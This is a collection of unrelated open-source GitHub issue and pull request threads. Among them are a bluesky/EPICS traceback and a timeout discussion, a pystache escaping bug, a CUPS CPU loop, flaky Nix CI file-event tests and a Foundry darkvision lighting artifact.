[D 14:19:40.513 run_engine:1961] The object EpicsSignal(read_pv='8idi:Reg200', name='pv', value=0.1, timestamp=1578601180.493238, tolerance=0.0001, auto_monitor=False, string=False, write_pv='8idi:Reg200', limits=False, put_complete=False) reports set is done with status True
[E 14:19:40.514 run_engine:1261] Run aborted
    Traceback (most recent call last):
      File "/home/beams/8IDIUSER/.conda/envs/bluesky/lib/python3.7/site-packages/bluesky/run_engine.py", line 1150, in _run
        msg = self._plan_stack[-1].send(resp)
      File "/home/beams/8IDIUSER/.conda/envs/bluesky/lib/python3.7/site-packages/bluesky/preprocessors.py", line 1294, in __call__
        return (yield from plan)
      File "/home/beams/8IDIUSER/.conda/envs/bluesky/lib/python3.7/site-packages/bluesky/preprocessors.py", line 1147, in baseline_wrapper
        return (yield from plan)
      File "/home/beams/8IDIUSER/.conda/envs/bluesky/lib/python3.7/site-packages/bluesky/preprocessors.py", line 790, in monitor_during_wrapper
        return (yield from plan2)
      File "/home/beams/8IDIUSER/.conda/envs/bluesky/lib/python3.7/site-packages/bluesky/preprocessors.py", line 169, in plan_mutator
        raise ex
      File "/home/beams/8IDIUSER/.conda/envs/bluesky/lib/python3.7/site-packages/bluesky/preprocessors.py", line 122, in plan_mutator
        msg = plan_stack[-1].send(ret)
      File "/home/beams/8IDIUSER/.conda/envs/bluesky/lib/python3.7/site-packages/bluesky/preprocessors.py", line 169, in plan_mutator
        raise ex
      File "/home/beams/8IDIUSER/.conda/envs/bluesky/lib/python3.7/site-packages/bluesky/preprocessors.py", line 122, in plan_mutator
        msg = plan_stack[-1].send(ret)
      File "/home/beams/8IDIUSER/.conda/envs/bluesky/lib/python3.7/site-packages/bluesky/preprocessors.py", line 848, in fly_during_wrapper
        return (yield from plan2)
      File "/home/beams/8IDIUSER/.conda/envs/bluesky/lib/python3.7/site-packages/bluesky/preprocessors.py", line 169, in plan_mutator
        raise ex
      File "/home/beams/8IDIUSER/.conda/envs/bluesky/lib/python3.7/site-packages/bluesky/preprocessors.py", line 122, in plan_mutator
        msg = plan_stack[-1].send(ret)
      File "/home/beams/8IDIUSER/.conda/envs/bluesky/lib/python3.7/site-packages/bluesky/preprocessors.py", line 169, in plan_mutator
        raise ex
      File "/home/beams/8IDIUSER/.conda/envs/bluesky/lib/python3.7/site-packages/bluesky/preprocessors.py", line 122, in plan_mutator
        msg = plan_stack[-1].send(ret)
      File "/home/beams/8IDIUSER/.conda/envs/bluesky/lib/python3.7/site-packages/bluesky/plan_stubs.py", line 859, in repeater
        yield from gen_func(*args, **kwargs)
      File "./test4.py", line 75, in ping_pong
        yield from move(signal, f"ping {i+1}", v1, delay_s)
      File "./test4.py", line 65, in move
        f"{datetime.datetime.now()} "
    TypeError: tuple indices must be integers or slices, not str
[D 14:19:40.519 run_engine:1070] No 'stop' method available on EpicsSignal(read_pv='8idi:Reg200', name='pv', value=0.1, timestamp=1578601180.493238, tolerance=0.0001, auto_monitor=False, string=False, write_pv='8idi:Reg200', limits=False, put_complete=False)
[I 14:19:40.519 run_engine:79] Change state on <bluesky.run_engine.RunEngine object at 0x7f66d03834e0> from 'running' -> 'idle'
Traceback (most recent call last):
  File "./test4.py", line 91, in <module>
    delay_s=DELAY_S,
  File "/home/beams/8IDIUSER/.conda/envs/bluesky/lib/python3.7/site-packages/bluesky/run_engine.py", line 753, in __call__
    raise exc
  File "/home/beams/8IDIUSER/.conda/envs/bluesky/lib/python3.7/site-packages/bluesky/run_engine.py", line 1262, in _run
    raise err
  File "/home/beams/8IDIUSER/.conda/envs/bluesky/lib/python3.7/site-packages/bluesky/run_engine.py", line 1150, in _run
    msg = self._plan_stack[-1].send(resp)
  File "/home/beams/8IDIUSER/.conda/envs/bluesky/lib/python3.7/site-packages/bluesky/preprocessors.py", line 1294, in __call__
    return (yield from plan)
  File "/home/beams/8IDIUSER/.conda/envs/bluesky/lib/python3.7/site-packages/bluesky/preprocessors.py", line 1147, in baseline_wrapper
    return (yield from plan)
  File "/home/beams/8IDIUSER/.conda/envs/bluesky/lib/python3.7/site-packages/bluesky/preprocessors.py", line 790, in monitor_during_wrapper
    return (yield from plan2)
  File "/home/beams/8IDIUSER/.conda/envs/bluesky/lib/python3.7/site-packages/bluesky/preprocessors.py", line 169, in plan_mutator
    raise ex
  File "/home/beams/8IDIUSER/.conda/envs/bluesky/lib/python3.7/site-packages/bluesky/preprocessors.py", line 122, in plan_mutator
    msg = plan_stack[-1].send(ret)
  File "/home/beams/8IDIUSER/.conda/envs/bluesky/lib/python3.7/site-packages/bluesky/preprocessors.py", line 169, in plan_mutator
    raise ex
  File "/home/beams/8IDIUSER/.conda/envs/bluesky/lib/python3.7/site-packages/bluesky/preprocessors.py", line 122, in plan_mutator
    msg = plan_stack[-1].send(ret)
  File "/home/beams/8IDIUSER/.conda/envs/bluesky/lib/python3.7/site-packages/bluesky/preprocessors.py", line 848, in fly_during_wrapper
    return (yield from plan2)
  File "/home/beams/8IDIUSER/.conda/envs/bluesky/lib/python3.7/site-packages/bluesky/preprocessors.py", line 169, in plan_mutator
    raise ex
  File "/home/beams/8IDIUSER/.conda/envs/bluesky/lib/python3.7/site-packages/bluesky/preprocessors.py", line 122, in plan_mutator
    msg = plan_stack[-1].send(ret)
  File "/home/beams/8IDIUSER/.conda/envs/bluesky/lib/python3.7/site-packages/bluesky/preprocessors.py", line 169, in plan_mutator
    raise ex
  File "/home/beams/8IDIUSER/.conda/envs/bluesky/lib/python3.7/site-packages/bluesky/preprocessors.py", line 122, in plan_mutator
    msg = plan_stack[-1].send(ret)
  File "/home/beams/8IDIUSER/.conda/envs/bluesky/lib/python3.7/site-packages/bluesky/plan_stubs.py", line 859, in repeater
    yield from gen_func(*args, **kwargs)
  File "./test4.py", line 75, in ping_pong
    yield from move(signal, f"ping {i+1}", v1, delay_s)
  File "./test4.py", line 65, in move
    f"{datetime.datetime.now()} "
TypeError: tuple indices must be integers or slices, not str

Swapping those two commented lines gives this MOVE line:
2020-01-09 14:20:20.682922 MOVE: ping 5:  0.1 (Status(obj=EpicsSignal(read_pv='8idi:Reg200', name='pv', value=0.1, timestamp=1578601220.677499, tolerance=0.0001, auto_monitor=False, string=False, write_pv='8idi:Reg200', limits=False, put_complete=False), done=True, success=True),)  0.005117

ret is a list status objects?
Our software versions:
versions    =========== ========================
            key         value
            =========== ========================
            apstools    1.1.16
            bluesky     1.5.4
            databroker  0.13.0
            epics       3.4.0
            matplotlib  3.1.1
            numpy       1.17.4
            ophyd       1.4.0rc3.post22+g7e5c2c2
            pyRestTable 2020.0.2
            spec2nexus  2021.1.3
            =========== ========================

and
In [4]: import tqdm

In [5]: tqdm.__version__
Out[5]: '4.40.0'

This error from tqdm is new today.  No updates to tqdm to get caproto installed.  ophyd.status.MoveStatus._notify_watchers() is faulting that the move fraction is not between 0 and 1.  Why would that be?

Did not see this in my VM test system.  I need to test with other motors at XPCS instrument before I declare this a new problem to resolve in this branch.

OK, that problem is specific to the 8idi:m25 motor we used for testing.  It fails the assert 0 <= frac <= 1 with frac=1.0132136624283221 and that needs to be traced down in a beamline-specific issue.
I've tested at the beam line with a different test motor PV (a soft motor instance from a soft IOC in my office a few subnets away).  No such errors reported.
I'm completely good with this PR to be merged.

Thanks for the notes in this comment, @prjemian. I have cross-posted them in #785, where the lines in question are being revisited anway.

Per an in-person conversation, we now that RSRV does not fail to service read requests, but may be slugging, requiring a very long timeout window. We could add retries anyway, in case we need them, but @prjemian and I agree that the added code complexity and the risk that someone might lean too heavily on this to paper over a problem outweigh the hypothetical benefits. If @tacaswell and @klauer concur, I will close this PR and open a separate one that only adds the timeout aspect, not the retry aspect.

Good to hear that, as we had previously assumed, rsrv will not drop read requests.
Removing retries and keeping timeout configurable seems a reasonable path forward.

Thanks @tacaswell for doing the work to rip out read retries. I have reviewed @tacaswell's changes and will merge.


IC-1141: Add contracts for assigning a referral to a caseworker and representing an assigned referral

What does this pull request do?
Add contracts for assigning a referral to a caseworker and representing an assigned referral. This relates to the API issue IC-1142.
What is the intent behind these changes?
To allow us to build the user interface for assigning a referral to a caseworker.

Realised that the authSource needs to be from HMPPS Auth. Closing.


Marketing

Presentator is a great tool and deserves much more attention. I suggest you to setup a Twitter account and do a little marketing.

It might be a good idea, but I suggest to define first what the gains & pains would be. What does @ganigeorgiev want? :-)
It might be a way to gain more donations, that would be good; it means also more work.

It will be nice to setup a Twitter account (for posting info about new releases, current status of the presentator.io services, etc.), but currently I hardly have time to handle with the email support and the project Facebook and Google+ pages, so creating a Twitter account will be postponed for now until I find a better way to manage my free time.

Honestly, Facebook is not the right place for promoting such a tool. Twitter is perfect for this. For example: InVision is tweeting something about it's tool a neutral account can recommend @presentator and link to its account. Perfect marketing that reaches the right people who already knew about InVision but didn't know about Presentator.

Regarding this topic, I wrote an article for the small German print magazine SCREENGUIDE (www.screengui.de) about presentator. It will be released with the next issue in December. Although this magazine is rather niche, maybe more people are interested about this project and will look for a way to subscribe. This could either be a Newsletter or a twitter account (both not so unusual forms of marketing among web developers). Both, the list and the account could in a first step collect subscribers, so @ganigeorgiev has an audience when he finds the time to "broadcast"/publish

Just to let you know, I've recently created a Twitter account for Presentator - https://twitter.com/presentatorio. Mainly release notes and current status of the free service (https://presentator.io) will be posted  there. Please note that I'm not very active social media user (I rely on email notifications) and I could be slow to response.


ISPN-14079 Jakarta modules javadoc

https://issues.redhat.com/browse/ISPN-14079
An additional one, now handling the javadoc/signature when using the community-release profile.

Closed in favour of https://github.com/infinispan/infinispan/pull/10315


Trunk sometimes escapes list blocks for no reason

Every list block except the first one in the template has its contents escaped.
>>> pystache.render("
{{#this}}
{{/this}}
{{#that}}
{{/that}}
{{#other}}
{{/other}}
", {'this':[1,2], 'that':[1,2], 'other':[1,2]})
Markup(u'

<p><p>
<p><p>
')

You can't get the error by repeating the same block though: if it renders unescaped the first time, it will do the same thing the second time, and visa versa.
>>> pystache.render("
{{#this}}
{{/this}}
{{#that}}
{{/that}}
{{#this}}
{{/this}}
{{#that}}
{{/that}}", {'this':[1,2], 'that':[1,2]})
Markup(u'

<p><p>

<p><p>')

The error does not occur at tag 3.1.  Just thought I'd make you guys aware of this.

It looks like this is the same as issue #53, which was just closed.  It has been fixed in the development branch (with a unit test case added).
I also confirmed that your examples don't work in master but work correctly in the development branch.
Thanks for your patience!


Cups hangs.

The label printer suddenly stopped working. It is connected through USB to an orange pi zero. (and available on the network through the orange pi)>
Turns out cupsd is at 100% CPU and in a loop:
read(14, "", 2047)                      = 0
wait4(-1, 0xbe83e360, WNOHANG, NULL)    = -1 ECHILD (No child processes)
epoll_wait(4, [{EPOLLHUP, {u32=39667576, u64=15724733714399053688}}], 4096, 1000) = 1
read(14, "", 2047)                      = 0
wait4(-1, 0xbe83e360, WNOHANG, NULL)    = -1 ECHILD (No child processes)
epoll_wait(4, [{EPOLLHUP, {u32=39667576, u64=15724733714399053688}}], 4096, 1000) = 1

From this and confirmed by ps, it looks as if this is the cupsd main process that expects a child to finish or data from said child, but somehow the pipe has been closed (EOF on fd 14) and the child hasn't exited (or has been reaped already).
You're going to ask what version I'm using.
billy:~# cupsd --version
doesn't work. dpkg tells me: 2.2.7-1ubuntu2.4
Workaround for me, for now: OK. The deamon had a subprocess and killing that made it work.

What subprocess was that?

It said "cupsd" in the pstree output.

Please contact the OpenPrinting CUPS project for assistance.


The web browser not working on WEBGL 2.0 in unity

What platform are you experiencing this issue on?
Windows
What architecture is your platform?
64-Bit
What version of UWB are you using?
Latest VoltstroUPM Release
What Unity version are you running?
2021.3.21f1
Describe what the issue you are experiencing is.
The web browser is working on the editor but while creating webGL build it gives an error.
ArgumentOutOfRangeException: Specified argument was out of the range of valid values.
VoltstroStudios.UnityWebBrowser.Editor.EditorHelper.UnityBuildTargetToPlatform (UnityEditor.BuildTarget buildTarget) (at Library/PackageCache/dev.voltstro.unitywebbrowser@2.0.2/Runtime/Editor/EditorHelper.cs:43)
VoltstroStudios.UnityWebBrowser.Editor.EngineManagement.EngineManagerPostprocess.OnPostprocessBuild (UnityEditor.Build.Reporting.BuildReport report) (at Library/PackageCache/dev.voltstro.unitywebbrowser@2.0.2/Runtime/Editor/EngineManagement/EngineManagerPostprocess.cs:30)
UnityEditor.Build.BuildPipelineInterfaces+<>c__DisplayClass18_0.b__1 (UnityEditor.Build.IPostprocessBuildWithReport bpp) (at <57a8ad0d1492436d8cfee9ba8e6618f8>:0)
UnityEditor.Build.BuildPipelineInterfaces.InvokeCallbackInterfacesPair[T1,T2] (System.Collections.Generic.List1[T] oneInterfaces, System.Action1[T] invocationOne, System.Collections.Generic.List1[T] twoInterfaces, System.Action1[T] invocationTwo, System.Boolean exitOnFailure) (at <57a8ad0d1492436d8cfee9ba8e6618f8>:0)
UnityEngine.GUIUtility:ProcessEvent(Int32, IntPtr, Boolean&)
Provide reproducible steps for this issue.

I did this.
I then did that.
Boom! Issue.

Any additional info you like to provide?
Also but in another system the build was created but still the web browser was not working.

WebGL is not supported by UWB.

what platforms does it supports?


File event tests may occasionally fail

It looks like certain tests that rely on short timings may occasionally fail. This is coming from downstream NixOS CI, and in this case on macOS: https://hydra.nixos.org/build/143298376/log
But I was unable to reproduce this locally on macOS, either in a normal build or in a build using Nix. I'm guessing it's a matter of tight tolerances and busy CI machine, maybe?
Do you think it's safe to ignore these failures?

I'll try to locate a slow box to reproduce it and will adjust timeouts acodrignly

nop, still not reproducible. Tried on the smallest box in AWS with the slowest HDD
I have adjusted the test from your log to be less demanding, give it a try and see if it worked.

@stephank did it work?

Still getting mixed results, see also the discussion in: https://github.com/NixOS/nixpkgs/pull/123579
Several people report TestFile_Events_BusyListener also failing, which has similar timeouts. But more interesting is that Nix CI also still fails TestFile_Events on macOS only, with the new 0.6.0 release: https://hydra.nixos.org/build/143427730/log
I can run the tests on a loop on both macOS and Linux, and don't see the issue. So, not yet sure what to make of it. 😕

not sure what the problem with NixOS CI but if you build tagged versions and not the master, I don't see much value in running tests on your side because we already do it in github's actions ci.

I created a PR downstream to disable the failing tests. Still, I find it really strange we so consistently see these fail on macOS. 😕
I think, one of the benefits of running tests is to catch any issues in toolchain differences between GitHub Actions and Nix builds.

Personally, I don't see much value in those tests as my primary dev workstation is macOS (both intel and m1). Those tests run a lot of time as a part of the regular dev process.

I have tried to see how this test can even fail. there are 3 possibilities I can think of:

extremely slow IO in the testing environment for macos. It should be really slow to write a few bytes in 300ms
some odd limation around temporary files
incorrect/incosistent clock.

I still think the issue is not the real but rather some artifact of Nix CI macos. However, if you still want to run all the tests and just skip this one I can do it based on some unique env key defined by Nix CI. Probably you already have some, so let me know what the env and if you want me to skip this test.

I agree, it's probably something strange. Just wish I had more options to debug it.
I think an env var would just be arbitrary? We're doing simple replacement to disable the specific tests now, which is good enough, imho: https://github.com/NixOS/nixpkgs/pull/124060/files
I don't mind if we close this at this point. Think we've given it plenty of thought. Thanks for taking the time to help resolve this. 🙂


Add FULLTEXT support for MySQL and Generic dialects

feat: add FULLTEXT (1), (2), option on create table for MySQL and Generic dialects.
[1] : https://dev.mysql.com/doc/refman/8.0/en/create-table.html
[2] : https://dev.mysql.com/doc/refman/8.0/en/fulltext-natural-language.html

Pull Request Test Coverage Report for Build<PHONE_NUMBER>

49 of 53 (92.45%)  changed or added relevant lines in 3 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage increased (+0.03%) to 86.023%

Changes Missing Coverage
Covered Lines
Changed/Added Lines
%

src/ast/ddl.rs
15
17
88.24%

src/parser.rs
16
18
88.89%

Totals

Change from base Build<PHONE_NUMBER>:
0.03%

Covered Lines:
11097

Relevant Lines:
12900

💛  - Coveralls


CreateDocument functions do not return ValidationErrors

I have been receiving ValidationError codes from customer.CreateDocument and beneficialOwner.CreateDocument but the error returned is not of type ValidationError. Please consider adding this error type so that users can debug their requests

Hi bnguyen88, thanks for the issue. There is a HALError type which you can check, it is returned here: https://github.com/kolanos/dwolla-v2-go/blob/master/client.go#L491
Does that not work in your case?

@kolanos thanks for the quick reply! unfortunately the useful part of the ValidationError is inside of the Embedded field which isn't captured in a normal HALError


Blue ring around edge of dim light produced by the Torch animation type

Hey,
Just installed and I'm loving that proper 5e darkvision is back. However I'm seeing an issue when using the torch animation on a light. It seems that a blue ring appears on the edge of the dim emission radius. Confirmed that it is only happening with the torch animation type. Any ideas?

It's expected. I don't want to shine dim/bright light in intersections of vision and light sources like it happens with Foundry's default dim/bright vision, because it would ruin the visuals of a lot of animated light sources. Some animated lights have darker parts like the torch light that would be destroyed, and the animation would be barely visible. Instead in intersections the light source is rendered as if it were full bright and the visuals of the animation are preserved. I'll admit it doesn't look very pretty if the animation has a dark border. I'll have to see what can done to smooth out those borders. I do want players with darkvision to see and enjoy light animations completely. Otherwise there is no point in creating animated lights as a GM if your players barely or not at all notice their effect. I hope that explains it well.

Great explanation! Yeah that is a tricky problem. The ring isn't too big a issue and I'm sure my players can deal with it to get accurate monochrome darkvision.
Not sure if you still want this ticket open for the smoothing you mentioned, so feel free to close it if you feel it's not needed anymore.
Thanks!

I made some adjustments in v1.9.10 which reduce the blue-ring-effect somewhat.


Exit Code 130

Hello, I have a slight problem whith the exit code 130.
As soon as I start my server docked lauch but the terminal sais 2 time World folder does not exist, exiting.
I dont know why because i have test with the default world or one of mine but neither works :/
I specify that I have both in /appdata/space-engineers/config/World

Sorry for my bad english, I'm french :/

Please don't open issues like "It doesn't work on my machine", and not include any additional info.

Also, join the keen swh discord and ask in the #linux channel there, maybe someone can help.